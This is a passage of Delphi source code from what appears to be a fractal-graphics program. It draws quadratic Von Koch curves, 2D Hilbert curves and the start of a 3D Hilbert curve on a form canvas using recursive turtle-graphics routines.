Font.Color := TempColor;
MainForm.Show;
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level);
end;
TextOut(10, 10, 'Von Koch 8' + ' Level: ' +
IStringer(Level));
{inc(GFColor);}
bRotateImage := False; {in the Drawing...}
bRotatingImage := True;
repeat Application.ProcessMessages until (bRotateImage =
True);
end;
end; end;
end; { of Von Koch8 }
procedure qkoch18(level: integer);
var
TempColor: TColor; maxcolx, maxrowy, {gfcolor,}
lc, i, generator_size, init_size: integer;
initiator_x1, initiator_x2, initiator_y1, initiator_y2: array[0..9]
of Extended;
procedure generate(X1: Extended; Y1: Extended; X2: Extended; Y2:
Extended;
level: integer);
var
j, k: integer;
Xpoints, Ypoints: array[0..24] of Extended;
begin
dec(level);
turtle_r := sqrt((X2 - X1) * (X2 - X1) + (Y2 - Y1) * (Y2 - Y1)) /
6.0;
Xpoints[0] := X1;
Ypoints[0] := Y1;
Xpoints[18] := X2;
Ypoints[18] := Y2;
turtle_theta := point(X1, Y1, X2, Y2);
turtle_x := X1;
turtle_y := Y1;
step;
Xpoints[1] := turtle_x;
Ypoints[1] := turtle_y;
turn(90);
step;
Xpoints[2] := turtle_x;
Ypoints[2] := turtle_y;
step;
Xpoints[3] := turtle_x;
Ypoints[3] := turtle_y;
turn(-90);
step;
Xpoints[4] := turtle_x;
Ypoints[4] := turtle_y;
step;
Xpoints[5] := turtle_x;
Ypoints[5] := turtle_y;
turn(-90);
step;
Xpoints[6] := turtle_x;
Ypoints[6] := turtle_y;
turn(-90);
step;
Xpoints[7] := turtle_x;
Ypoints[7] := turtle_y;
turn(90);
step;
Xpoints[8] := turtle_x;
Ypoints[8] := turtle_y;
turn(90);
step;
Xpoints[9] := turtle_x;
Ypoints[9] := turtle_y;
step;
Xpoints[10] := turtle_x;
Ypoints[10] := turtle_y;
turn(-90);
step;
Xpoints[11] := turtle_x;
Ypoints[11] := turtle_y;
turn(-90);
step;
Xpoints[12] := turtle_x;
Ypoints[12] := turtle_y;
turn(90);
step;
Xpoints[13] := turtle_x;
Ypoints[13] := turtle_y;
turn(90);
step;
Xpoints[14] := turtle_x;
Ypoints[14] := turtle_y;
step;
Xpoints[15] := turtle_x;
Ypoints[15] := turtle_y;
turn(90);
step;
Xpoints[16] := turtle_x;
Ypoints[16] := turtle_y;
step;
Xpoints[17] := turtle_x;
Ypoints[17] := turtle_y;
if level > 0 then
begin
for j := 0 to generator_size - 1 do
begin
X1 := Xpoints[j];
X2 := Xpoints[j + 1];
Y1 := Ypoints[j];
Y2 := Ypoints[j + 1];
generate(X1, Y1, X2, Y2, level);
end;
end
else
begin
for k := 0 to generator_size - 1 do
begin {175} {*0.729}
MainForm.Image2.Canvas.Moveto(Round(Xpoints[k] + 320),
Round(240 - Ypoints[k]));
MainForm.Image2.Canvas.Lineto(Round(Xpoints[k + 1] + 320),
Round(240 - Ypoints[k + 1]));
end;
end;
end;
begin
{gfcolor:=4; }
{pcxVGASetup;}
generator_size := 18;
init_size := 4;
initiator_x1[0] := -130;
initiator_x1[1] := 130;
initiator_x1[2] := 130;
initiator_x1[3] := -130;
initiator_x2[0] := 130;
initiator_x2[1] := 130;
initiator_x2[2] := -130;
initiator_x2[3] := -130;
initiator_y1[0] := 130;
initiator_y1[1] := 130;
initiator_y1[2] := -130;
initiator_y1[3] := -130;
initiator_y2[0] := 130;
initiator_y2[1] := -130;
initiator_y2[2] := -130;
initiator_y2[3] := 130;
if level < 0 then level := 0
else if level > 8 then level := 8;
if Level > 0 then
begin
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor;
Font.Color := TempColor;
MainForm.Show;
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level);
end;
TextOut(10, 10, 'Von Koch 18' + ' Level: ' + IStringer(Level));
end; end else
begin
for lc := 1 to 4 do
begin
level := lc;
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor;
Font.Color := TempColor;
MainForm.Show;
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level);
end;
TextOut(10, 10, 'Von Koch 18' + ' Level: ' +
IStringer(Level));
{inc(GFColor); }
bRotateImage := False; {in the Drawing...}
bRotatingImage := True;
repeat Application.ProcessMessages until (bRotateImage =
True);
end;
end; end;
end; { of Von Koch 18 }
procedure qkoch32(level: integer);
var
TempColor: TColor; maxcolx, maxrowy, {gfcolor,}
lc, i, generator_size, init_size: integer;
initiator_x1, initiator_x2, initiator_y1, initiator_y2: array[0..9]
of Extended;
procedure generate(X1: Extended; Y1: Extended; X2: Extended; Y2:
Extended;
level: integer);
var
j, k: integer;
Xpoints, Ypoints: array[0..32] of Extended;
begin
dec(level);
turtle_r := sqrt((X2 - X1) * (X2 - X1) + (Y2 - Y1) * (Y2 - Y1)) /
8.0;
Xpoints[0] := X1;
Ypoints[0] := Y1;
Xpoints[32] := X2;
Ypoints[32] := Y2;
turtle_theta := point(X1, Y1, X2, Y2);
turtle_x := X1;
turtle_y := Y1;
turn(90);
step;
Xpoints[1] := turtle_x;
Ypoints[1] := turtle_y;
turn(-90);
step;
Xpoints[2] := turtle_x;
Ypoints[2] := turtle_y;
turn(90);
step;
Xpoints[3] := turtle_x;
Ypoints[3] := turtle_y;
turn(90);
step;
Xpoints[4] := turtle_x;
Ypoints[4] := turtle_y;
turn(-90);
step;
Xpoints[5] := turtle_x;
Ypoints[5] := turtle_y;
turn(-90);
step;
Xpoints[6] := turtle_x;
Ypoints[6] := turtle_y;
step;
Xpoints[7] := turtle_x;
Ypoints[7] := turtle_y;
turn(90);
step;
Xpoints[8] := turtle_x;
Ypoints[8] := turtle_y;
turn(-90);
step;
Xpoints[9] := turtle_x;
Ypoints[9] := turtle_y;
turn(-90);
step;
Xpoints[10] := turtle_x;
Ypoints[10] := turtle_y;
step;
Xpoints[11] := turtle_x;
Ypoints[11] := turtle_y;
turn(-90);
step;
Xpoints[12] := turtle_x;
Ypoints[12] := turtle_y;
turn(90);
step;
Xpoints[13] := turtle_x;
Ypoints[13] := turtle_y;
turn(90);
step;
Xpoints[14] := turtle_x;
Ypoints[14] := turtle_y;
step;
Xpoints[15] := turtle_x;
Ypoints[15] := turtle_y;
turn(-90);
step;
Xpoints[16] := turtle_x;
Ypoints[16] := turtle_y;
step;
Xpoints[17] := turtle_x;
Ypoints[17] := turtle_y;
turn(90);
step;
Xpoints[18] := turtle_x;
Ypoints[18] := turtle_y;
step;
Xpoints[19] := turtle_x;
Ypoints[19] := turtle_y;
turn(-90);
step;
Xpoints[20] := turtle_x;
Ypoints[20] := turtle_y;
turn(-90);
step;
Xpoints[21] := turtle_x;
Ypoints[21] := turtle_y;
turn(90);
step;
Xpoints[22] := turtle_x;
Ypoints[22] := turtle_y;
step;
Xpoints[23] := turtle_x;
Ypoints[23] := turtle_y;
turn(90);
step;
Xpoints[24] := turtle_x;
Ypoints[24] := turtle_y;
turn(90);
step;
Xpoints[25] := turtle_x;
Ypoints[25] := turtle_y;
turn(-90);
step;
Xpoints[26] := turtle_x;
Ypoints[26] := turtle_y;
step;
Xpoints[27] := turtle_x;
Ypoints[27] := turtle_y;
turn(90);
step;
Xpoints[28] := turtle_x;
Ypoints[28] := turtle_y;
turn(90);
step;
Xpoints[29] := turtle_x;
Ypoints[29] := turtle_y;
turn(-90);
step;
Xpoints[30] := turtle_x;
Ypoints[30] := turtle_y;
turn(-90);
step;
Xpoints[31] := turtle_x;
Ypoints[31] := turtle_y;
if level > 0 then
begin
for j := 0 to generator_size - 1 do
begin
X1 := Xpoints[j];
X2 := Xpoints[j + 1];
Y1 := Ypoints[j];
Y2 := Ypoints[j + 1];
generate(X1, Y1, X2, Y2, level);
end;
end
else
begin
for k := 0 to generator_size - 1 do
begin
MainForm.Image2.Canvas.Moveto(Round(Xpoints[k] + 320),
Round(240 - Ypoints[k]));
MainForm.Image2.Canvas.Lineto(Round(Xpoints[k + 1] + 320),
Round(240 - Ypoints[k + 1]));
end;
end;
end;
begin
generator_size := 32;
init_size := 4;
initiator_x1[0] := -100;
initiator_x1[1] := 100;
initiator_x1[2] := 100;
initiator_x1[3] := -100;
initiator_x2[0] := 100;
initiator_x2[1] := 100;
initiator_x2[2] := -100;
initiator_x2[3] := -100;
initiator_y1[0] := 100;
initiator_y1[1] := 100;
initiator_y1[2] := -100;
initiator_y1[3] := -100;
initiator_y2[0] := 100;
initiator_y2[1] := -100;
initiator_y2[2] := -100;
initiator_y2[3] := 100;
if level < 0 then level := 0
else if level > 8 then level := 8;
{gfcolor:=4;}
{pcxVGASetup;}
if Level > 0 then
begin
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor;
Font.Color := TempColor;
MainForm.Show;
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level);
end;
TextOut(10, 10, 'Von Koch 32' + ' Level: ' + IStringer(Level));
end; end else
begin
for lc := 1 to 3 do
begin
level := lc;
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor;
Font.Color := TempColor;
MainForm.Show;
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level);
end;
TextOut(10, 10, 'Von Koch 32' + ' Level: ' +
IStringer(Level));
{inc(GFColor);}
bRotateImage := False; {in the Drawing...}
bRotatingImage := True;
repeat Application.ProcessMessages until (bRotateImage =
True);
end;
end; end;
end; { of Von Koch 32 }
procedure qkoch50(level: integer);
var
TempColor: TColor; maxcolx, maxrowy, {gfcolor,}
lc, i, generator_size, init_size: integer;
initiator_x1, initiator_x2, initiator_y1, initiator_y2: array[0..9]
of Extended;
procedure generate(X1: Extended; Y1: Extended; X2: Extended; Y2:
Extended;
level: integer);
var
j, k: integer;
Xpoints, Ypoints: array[0..50] of Extended;
begin
dec(level);
turtle_r := sqrt((X2 - X1) * (X2 - X1) + (Y2 - Y1) * (Y2 - Y1)) /
10.0;
Xpoints[0] := X1;
Ypoints[0] := Y1;
Xpoints[50] := X2;
Ypoints[50] := Y2;
turtle_theta := point(X1, Y1, X2, Y2);
turtle_x := X1;
turtle_y := Y1;
step;
Xpoints[1] := turtle_x;
Ypoints[1] := turtle_y;
turn(90);
step;
Xpoints[2] := turtle_x;
Ypoints[2] := turtle_y;
turn(-90);
step;
Xpoints[3] := turtle_x;
Ypoints[3] := turtle_y;
turn(-90);
step;
Xpoints[4] := turtle_x;
Ypoints[4] := turtle_y;
step;
Xpoints[5] := turtle_x;
Ypoints[5] := turtle_y;
step;
Xpoints[6] := turtle_x;
Ypoints[6] := turtle_y;
turn(90);
step;
Xpoints[7] := turtle_x;
Ypoints[7] := turtle_y;
step;
Xpoints[8] := turtle_x;
Ypoints[8] := turtle_y;
turn(-90);
step;
Xpoints[9] := turtle_x;
Ypoints[9] := turtle_y;
step;
Xpoints[10] := turtle_x;
Ypoints[10] := turtle_y;
turn(90);
step;
Xpoints[11] := turtle_x;
Ypoints[11] := turtle_y;
turn(90);
step;
Xpoints[12] := turtle_x;
Ypoints[12] := turtle_y;
step;
Xpoints[13] := turtle_x;
Ypoints[13] := turtle_y;
step;
Xpoints[14] := turtle_x;
Ypoints[14] := turtle_y;
turn(90);
step;
Xpoints[15] := turtle_x;
Ypoints[15] := turtle_y;
step;
Xpoints[16] := turtle_x;
Ypoints[16] := turtle_y;
turn(-90);
step;
Xpoints[17] := turtle_x;
Ypoints[17] := turtle_y;
step;
Xpoints[18] := turtle_x;
Ypoints[18] := turtle_y;
step;
Xpoints[19] := turtle_x;
Ypoints[19] := turtle_y;
step;
Xpoints[20] := turtle_x;
Ypoints[20] := turtle_y;
turn(-90);
step;
Xpoints[21] := turtle_x;
Ypoints[21] := turtle_y;
turn(-90);
step;
Xpoints[22] := turtle_x;
Ypoints[22] := turtle_y;
step;
Xpoints[23] := turtle_x;
Ypoints[23] := turtle_y;
step;
Xpoints[24] := turtle_x;
Ypoints[24] := turtle_y;
turn(90);
step;
Xpoints[25] := turtle_x;
Ypoints[25] := turtle_y;
step;
Xpoints[26] := turtle_x;
Ypoints[26] := turtle_y;
turn(-90);
step;
Xpoints[27] := turtle_x;
Ypoints[27] := turtle_y;
step;
Xpoints[28] := turtle_x;
Ypoints[28] := turtle_y;
step;
Xpoints[29] := turtle_x;
Ypoints[29] := turtle_y;
turn(90);
step;
Xpoints[30] := turtle_x;
Ypoints[30] := turtle_y;
turn(90);
step;
Xpoints[31] := turtle_x;
Ypoints[31] := turtle_y;
step;
Xpoints[32] := turtle_x;
Ypoints[32] := turtle_y;
step;
Xpoints[33] := turtle_x;
Ypoints[33] := turtle_y;
step;
Xpoints[34] := turtle_x;
Ypoints[34] := turtle_y;
turn(90);
step;
Xpoints[35] := turtle_x;
Ypoints[35] := turtle_y;
step;
Xpoints[36] := turtle_x;
Ypoints[36] := turtle_y;
turn(-90);
step;
Xpoints[37] := turtle_x;
Ypoints[37] := turtle_y;
step;
Xpoints[38] := turtle_x;
Ypoints[38] := turtle_y;
step;
Xpoints[39] := turtle_x;
Ypoints[39] := turtle_y;
turn(-90);
step;
Xpoints[40] := turtle_x;
Ypoints[40] := turtle_y;
turn(-90);
step;
Xpoints[41] := turtle_x;
Ypoints[41] := turtle_y;
step;
Xpoints[42] := turtle_x;
Ypoints[42] := turtle_y;
turn(90);
step;
Xpoints[43] := turtle_x;
Ypoints[43] := turtle_y;
step;
Xpoints[44] := turtle_x;
Ypoints[44] := turtle_y;
turn(-90);
step;
Xpoints[45] := turtle_x;
Ypoints[45] := turtle_y;
step;
Xpoints[46] := turtle_x;
Ypoints[46] := turtle_y;
step;
Xpoints[47] := turtle_x;
Ypoints[47] := turtle_y;
turn(90);
step;
Xpoints[48] := turtle_x;
Ypoints[48] := turtle_y;
turn(90);
step;
Xpoints[49] := turtle_x;
Ypoints[49] := turtle_y;
if level > 0 then
begin
for j := 0 to generator_size - 1 do
begin
X1 := Xpoints[j];
X2 := Xpoints[j + 1];
Y1 := Ypoints[j];
Y2 := Ypoints[j + 1];
generate(X1, Y1, X2, Y2, level);
end;
end
else
begin
for k := 0 to generator_size - 1 do
begin
MainForm.Image2.Canvas.Moveto(Round(Xpoints[k] + 320),
Round(240 - Ypoints[k]));
MainForm.Image2.Canvas.Lineto(Round(Xpoints[k + 1] + 320),
Round(240 - Ypoints[k + 1]));
end;
end;
end;
begin
{gfcolor:=4; }
generator_size := 50;
init_size := 4;
initiator_x1[0] := -100;
initiator_x1[1] := 100;
initiator_x1[2] := 100;
initiator_x1[3] := -100;
initiator_x2[0] := 100;
initiator_x2[1] := 100;
initiator_x2[2] := -100;
initiator_x2[3] := -100;
initiator_y1[0] := 100;
initiator_y1[1] := 100;
initiator_y1[2] := -100;
initiator_y1[3] := -100;
initiator_y2[0] := 100;
initiator_y2[1] := -100;
initiator_y2[2] := -100;
initiator_y2[3] := 100;
if level < 0 then level := 0
else if level > 8 then level := 8;
if Level > 0 then
begin
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor;
Font.Color := TempColor;
MainForm.Show;
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level);
end;
TextOut(10, 10, 'Von Koch 50' + ' Level: ' + IStringer(Level));
end; end else
begin
for lc := 1 to 2 do
begin
level := lc;
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor;
Font.Color := TempColor;
MainForm.Show;
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level);
end;
TextOut(10, 10, 'Von Koch 50' + ' Level: ' +
IStringer(Level));
{inc(GFColor); }
bRotateImage := False; {in the Drawing...}
bRotatingImage := True;
repeat Application.ProcessMessages until (bRotateImage =
True);
end;
end; end;
end; { of Von Koch 50 }
procedure hilbert(level: integer);
var
TempColor: TColor; maxcolx, maxrowy, {gfColor,}
lc, i: integer;
x1, x2, y1, y2, r, temp: Extended;
procedure generate(r1: Extended; r2: Extended);
begin
dec(level);
if level > 0 then
generate(r2, r1);
x2 := x2 + r1;
y2 := y2 + r2;
MainForm.Image2.Canvas.Moveto(Round(x1 + 320), Round(240 - y1));
MainForm.Image2.Canvas.Lineto(Round(x2 + 320), Round(240 - y2));
x1 := x2;
y1 := y2;
if level > 0 then
generate(r1, r2);
x2 := x2 + r2;
y2 := y2 + r1;
MainForm.Image2.Canvas.Moveto(Round(x1 + 320), Round(240 - y1));
MainForm.Image2.Canvas.Lineto(Round(x2 + 320), Round(240 - y2));
x1 := x2;
y1 := y2;
if level > 0 then
generate(r1, r2);
x2 := x2 - r1;
y2 := y2 - r2;
MainForm.Image2.Canvas.Moveto(Round(x1 + 320), Round(240 - y1));
MainForm.Image2.Canvas.Lineto(Round(x2 + 320), Round(240 - y2));
x1 := x2;
y1 := y2;
if level > 0 then
generate(-r2, -r1);
inc(level);
end;
begin
{gfColor:=4; }
if level < 0 then level := 0
else if level > 8 then level := 8;
if Level > 0 then
begin
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor;
Font.Color := TempColor;
TextOut(10, 10, 'Hilbert' + ' Level: ' + IStringer(Level));
Brush.Color := TempColor;
MainForm.Show;
temp := 2;
i := level;
while i > 1 do
begin
temp := temp * 2;
dec(i);
end;
r := 400 / temp;
x1 := -200;
y1 := -200;
x2 := -200;
y2 := -200;
generate(r, 0);
end; end else
begin
for lc := 1 to 4 do
begin
level := lc;
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor; Brush.Color := TempColor;
Font.Color := TempColor;
TextOut(10, 10, 'Hilbert' + ' Level: ' + IStringer(Level));
Brush.Color := TempColor;
MainForm.Show;
temp := 2;
i := level;
while i > 1 do
begin
temp := temp * 2;
dec(i);
end;
r := 400 / temp;
x1 := -200;
y1 := -200;
x2 := -200;
y2 := -200;
generate(r, 0);
{inc(GFColor);}
bRotateImage := False; {in the Drawing...}
bRotatingImage := True;
repeat Application.ProcessMessages until (bRotateImage =
True);
end;
end; end;
end; { of Procedure }
procedure hilbert2(level: integer);
var
TempColor: TColor; maxcolx, maxrowy, {gfColor, }
I, lc, x, y, old_x, old_y, h: integer;
procedure gen2(i: integer); forward;
procedure gen3(i: integer); forward;
procedure gen4(i: integer); forward;
procedure gen1(i: integer);
begin
if i > 0 then
begin
gen4(i - 1);
x := x - h;
MainForm.Image2.Canvas.Moveto(old_x + 320, 240 - old_y);
{(old_y*32) div 48}
MainForm.Image2.Canvas.Lineto(x + 320, 240 - y); {(y*32) div 48}
old_x := x;
old_y := y;
gen1(i - 1);
y := y - h;
MainForm.Image2.Canvas.Moveto(old_x + 320, 240 - old_y);
{(old_y*32) div 48}
MainForm.Image2.Canvas.Lineto(x + 320, 240 - y); {(y*32) div 48}
old_x := x;
old_y := y;
gen1(i - 1);
x := x + h;
MainForm.Image2.Canvas.Moveto(old_x + 320, 240 - old_y);
{(old_y*32) div 48}
MainForm.Image2.Canvas.Lineto(x + 320, 240 - y); {(y*32) div 48}
old_x := x;
old_y := y;
gen2(i - 1);
end;
end;
procedure gen2(i: integer);
begin
if i > 0 then
begin
gen3(i - 1);
y := y + h;
MainForm.Image2.Canvas.Moveto(old_x + 320, 240 - old_y);
{(old_y*32) div 48}
MainForm.Image2.Canvas.Lineto(x + 320, 240 - y); {(y*32) div 48}
old_x := x;
old_y := y;
gen2(i - 1);
x := x + h;
MainForm.Image2.Canvas.Moveto(old_x + 320, 240 - old_y);
{(old_y*32) div 48}
MainForm.Image2.Canvas.Lineto(x + 320, 240 - y); {(y*32) div 48}
old_x := x;
old_y := y;
gen2(i - 1);
y := y - h;
MainForm.Image2.Canvas.Moveto(old_x + 320, 240 - old_y);
{(old_y*32) div 48}
MainForm.Image2.Canvas.Lineto(x + 320, 240 - y); {(y*32) div 48}
old_x := x;
old_y := y;
gen1(i - 1);
end;
end;
procedure gen3(i: integer);
begin
if i > 0 then
begin
gen2(i - 1);
x := x + h;
MainForm.Image2.Canvas.Moveto(old_x + 320, 240 - old_y);
{(old_y*32) div 48}
MainForm.Image2.Canvas.Lineto(x + 320, 240 - y); {(y*32) div 48}
old_x := x;
old_y := y;
gen3(i - 1);
y := y + h;
MainForm.Image2.Canvas.Moveto(old_x + 320, 240 - old_y);
{(old_y*32) div 48}
MainForm.Image2.Canvas.Lineto(x + 320, 240 - y); {(y*32) div 48}
{ Line(old_x+320,240-(old_y*32) div 48,x+320,240-(y*32) div 48);}
old_x := x;
old_y := y;
gen3(i - 1);
x := x - h;
MainForm.Image2.Canvas.Moveto(old_x + 320, 240 - old_y);
{(old_y*32) div 48}
MainForm.Image2.Canvas.Lineto(x + 320, 240 - y); {(y*32) div 48}
{ Line(old_x+320,240-(old_y*32) div 48,x+320,240-(y*32) div 48);}
old_x := x;
old_y := y;
gen4(i - 1);
end;
end;
procedure gen4(i: integer);
begin
if i > 0 then
begin
gen1(i - 1);
y := y - h;
MainForm.Image2.Canvas.Moveto(old_x + 320, 240 - old_y);
{(old_y*32) div 48}
MainForm.Image2.Canvas.Lineto(x + 320, 240 - y); {(y*32) div 48}
{ Line(old_x+320,240-(old_y*32) div 48,x+320,240-(y*32) div 48);}
old_x := x;
old_y := y;
gen4(i - 1);
x := x - h;
MainForm.Image2.Canvas.Moveto(old_x + 320, 240 - old_y);
{(old_y*32) div 48}
MainForm.Image2.Canvas.Lineto(x + 320, 240 - y); {(y*32) div 48}
{ Line(old_x+320,240-(old_y*32) div 48,x+320,240-(y*32) div 48);}
old_x := x;
old_y := y;
gen4(i - 1);
y := y + h;
MainForm.Image2.Canvas.Moveto(old_x + 320, 240 - old_y);
{(old_y*32) div 48}
MainForm.Image2.Canvas.Lineto(x + 320, 240 - y); {(y*32) div 48}
{ Line(old_x+320,240-(old_y*32) div 48,x+320,240-(y*32) div 48);}
old_x := x;
old_y := y;
gen3(i - 1);
end;
end;
begin
{GfColor:=4; }
if level < 0 then level := 0
else if level > 7 then level := 7;
if Level > 0 then
begin
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Font.Color := TempColor;
TextOut(10, 10, 'Hilbert 2' + ' Level: ' + IStringer(Level));
Pen.Color := TempColor; Brush.Color := TempColor;
MainForm.Show;
h := 480;
x := 0;
y := 0;
for i := 1 to level do
begin
h := h div 2;
x := x + h div 2;
y := y + h div 2;
old_x := x;
old_y := y;
end;
gen1(level);
end; end else
begin
for lc := 1 to 4 do
begin
level := lc;
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Font.Color := TempColor;
TextOut(10, 10, 'Hilbert 2' + ' Level: ' + IStringer(Level));
Pen.Color := TempColor; Brush.Color := TempColor;
Font.Color := TempColor;
MainForm.Show;
h := 480;
x := 0;
y := 0;
for i := 1 to level do
begin
h := h div 2;
x := x + h div 2;
y := y + h div 2;
old_x := x;
old_y := y;
end;
gen1(level);
{inc(GFColor);}
bRotateImage := False; {in the Drawing...}
bRotatingImage := True;
repeat Application.ProcessMessages until (bRotateImage =
True);
end;
end;
end;
end; { of Procedure }
procedure hil3d(level: integer);
var
TempColor: TColor; maxcolx, maxrowy, {gfcolor, }
lc, i: integer;
points: array[0..2] of Extended;
temp, x1, x2, y1, y2, r, x_angle, y_angle, z_angle, cx, cy, cz, sx,
sy, sz: Extended;
procedure generate(a: integer; b: integer; c: integer);
var
sign: array[0..2] of integer;
begin
sign[0] := 1;
sign[1] := 1;
sign[2] := 1;
dec(level);
if a < 0 then
sign[0] := -1;
a := Abs(a) - 1;
if b < 0 then
sign[1] := -1;
b := Abs(b) - 1;
if c < 0 then
sign[2] := -1;
c := Abs(c) - 1;
x1 := points[0] * cx + points[1] * cy + points[2] * cz;
y1 := points[0] * sx + points[1] * sy + points[2] * sz;
if level > 0 then
generate(-2, 1, 3);
points[a] := points[a] + (r * sign[0]);
x2 := points[0] * cx + points[1] * cy + points[2] * cz;
y2 := points[0] * sx + points[1] * sy + points[2] * sz;
MainForm.Image2.Canvas.Moveto(Round(x1 + 320), Round(240 - y1));
MainForm.Image2.Canvas.Lineto(Round(x2 + 320), Round(240 - y2));
x1 := points[0] * cx + points[1] * cy + points[2] * cz;
y1 := points[0] * sx + points[1] * sy + points[2] * sz;
if level > 0 then
generate(3, 1, -2);
points[b] := points[b] + (r * sign[1]);
x2 := points[0] * cx + points[1] * cy + points[2] * cz;
y2 := points[0] * sx + points[1] * sy + points[2] * sz;
MainForm.Image2.Canvas.Moveto(Round(x1 + 320), Round(240 - y1));
MainForm.Image2.Canvas.Lineto(Round(x2 + 320), Round(240 - y2));
x1 := points[0] * cx + points[1] * cy + points[2] * cz;
y1 := points[0] * sx + points[1] * sy + points[2] * sz;
if level > 0 then
generate(3, 1, -2);
points[a] := points[a] - (r * sign[0]);
x2 := points[0] * cx + points[1] * cy + points[2] * cz;
y2 := points[0] * sx + points[1] * sy + points[2] * sz;
MainForm.Image2.Canvas.Moveto(Round(x1 + 320), Round(240 - y1));
MainForm.Image2.Canvas.Lineto(Round(x2 + 320), Round(240 - y2));
x1 := points[0] * cx + points[1] * cy + points[2] * cz;
y1 := points[0] * sx + points[1] * sy + points[2] * sz;
if level > 0 then
generate(2, -3, 1);
points[c] := points[c] + (r * sign[2]);
x2 := points[0] * cx + points[1] * cy + points[2] * cz;
y2 := points[0] * sx + points[1] * sy + points[2] * sz;
MainForm.Image2.Canvas.Moveto(Round(x1 + 320), Round(240 - y1));
MainForm.Image2.Canvas.Lineto(Round(x2 + 320), Round(240 - y2));
x1 := points[0] * cx + points[1] * cy + points[2] * cz;
y1 := points[0] * sx + points[1] * sy + points[2] * sz;
if level > 0 then
generate(-3, 1, 2);
points[a] := points[a] + (r * sign[0]);
x2 := points[0] * cx + points[1] * cy + points[2] * cz;
y2 := points[0] * sx + points[1] * sy + points[2] * sz;
MainForm.Image2.Canvas.Moveto(Round(x1 + 320), Round(240 - y1));
MainForm.Image2.Canvas.Lineto(Round(x2 + 320), Round(240 - y2));
x1 := points[0] * cx + points[1] * cy + points[2] * cz;
y1 := points[0] * sx + points[1] * sy + points[2] * sz;
if level > 0 then
generate(-2, 3, 1);
points[b] := points[b] - (r * sign[1]);
x2 := points[0] * cx + points[1] * cy + points[2] * cz;
y2 := points[0] * sx + points[1] * sy + points[2] * sz;
MainForm.Image2.Canvas.Moveto(Round(x1 + 320), Round(240 - y1));
MainForm.Image2.Canvas.Lineto(Round(x2 + 320), Round(240 - y2));
x1 := points[0] * cx + points[1] * cy + points[2] * cz;
y1 := points[0] * sx + points[1] * sy + points[2] * sz;
if level > 0 then
generate(3, -1, 2);
points[a] := points[a] - (r * sign[0]);
x2 := points[0] * cx + points[1] * cy + points[2] * cz;
y2 := points[0] * sx + points[1] * sy + points[2] * sz;
MainForm.Image2.Canvas.Moveto(Round(x1 + 320), Round(240 - y1));
MainForm.Image2.Canvas.Lineto(Round(x2 + 320), Round(240 - y2));
x1 := points[0] * cx + points[1] * cy + points[2] * cz;
y1 := points[0] * sx + points[1] * sy + points[2] * sz;
if level > 0 then
generate(-2, -1, -3);
inc(level);
end;
